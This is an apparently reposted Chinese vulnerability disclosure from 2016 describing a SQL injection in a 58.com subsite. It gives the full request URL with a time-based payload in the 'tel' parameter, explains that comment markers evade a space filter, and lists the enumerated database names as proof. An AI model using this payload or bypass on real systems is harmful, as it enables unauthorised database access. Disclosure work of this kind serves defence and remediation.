神刀安全网

漏洞标题: 58同城某分站存在又一处SQL注入

漏洞详情

披露状态:

2016-04-24: 细节已通知厂商并且等待厂商处理中
2016-04-25: 厂商已经确认,细节仅向厂商公开
2016-05-05: 细节向核心白帽子及相关领域专家公开
2016-05-15: 细节向普通白帽子公开
2016-05-25: 细节向实习白帽子公开
2016-06-09: 细节向公众公开

简要描述:

又一处SQL注入

详细说明:

上一次修复了,发现还有新的一处。

http:[email protected],[email protected],[email protected]&[email protected]&emailsign=58%25E4%25BA%258C%25E6%2589%258B%25E8%25BD%25A6&title=%25E4%25BC%25B0%25E8%25BD%25A6%25E4%25BB%25B7%25E2%2580%2594%25E2%2580%2594%25E7%25BA%25BF%25E4%25B8%258B%25E8%25AF%2584%25E4%25BC%25B0%25E9%25A2%2584%25E7%25BA%25A6&content=%25E8%25BD%25A6%25E5%259E%258B%25EF%25BC%259A%25E4%25B8%25B0%25E7%2594%25B0%2520%25E5%258D%25A1%25E7%25BD%2597%25E6%258B%2589%25202009%25E6%25AC%25BE%25201.8%2520%25E8%2587%25AA%25E5%258A%25A8%2520GLX-i%25E7%2589%25B9%25E5%2588%25AB%25E7%25BA%25AA%25E5%25BF%25B5%25E7%2589%2588%25E3%2580%2581%25E4%25B8%258A%25E7%2589%258C%25E6%2597%25A5%25E6%259C%259F:2009%25E5%25B9%25B412%25E6%259C%2588%25E4%25B8%258A%25E7%2589%258C%25E3%2580%2581%25E8%25A1%258C%25E9%25A9%25B6%25E9%2587%258C%25E7%25A8%258B:7.0%25E3%2580%2581%25E6%2589%2580%25E5%259C%25A8%25E5%259C%25B0%25E5%258C%25BA:%25E5%258C%2597%25E4%25BA%25AC%25E3%2580%2581%25E6%2582%25A8%25E7%259A%2584%25E7%2588%25B1%25E8%25BD%25A6%25E8%25AF%2584%25E4%25BC%25B0%25E4%25BB%25B7:5.58-6.12%25E4%25B8%2587%25E3%2580%2581%25E8%2581%2594%25E7%25B3%25BB%25E6%2596%25B9%25E5%25BC%258F:13333333333&tel=13333333333/**/and/**/sleep(5)&gcjid=6027351&source=0

参数tel,只是过滤空格,用/**/绕过

漏洞标题:  58同城某分站存在又一处SQL注入

漏洞证明:

available databases [3]:

[*] dbwww58com_eschuodong

[*] information_schema

[*] test

修复方案:

过滤

版权声明:转载请注明来源 getshell1993@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 58同城某分站存在又一处SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址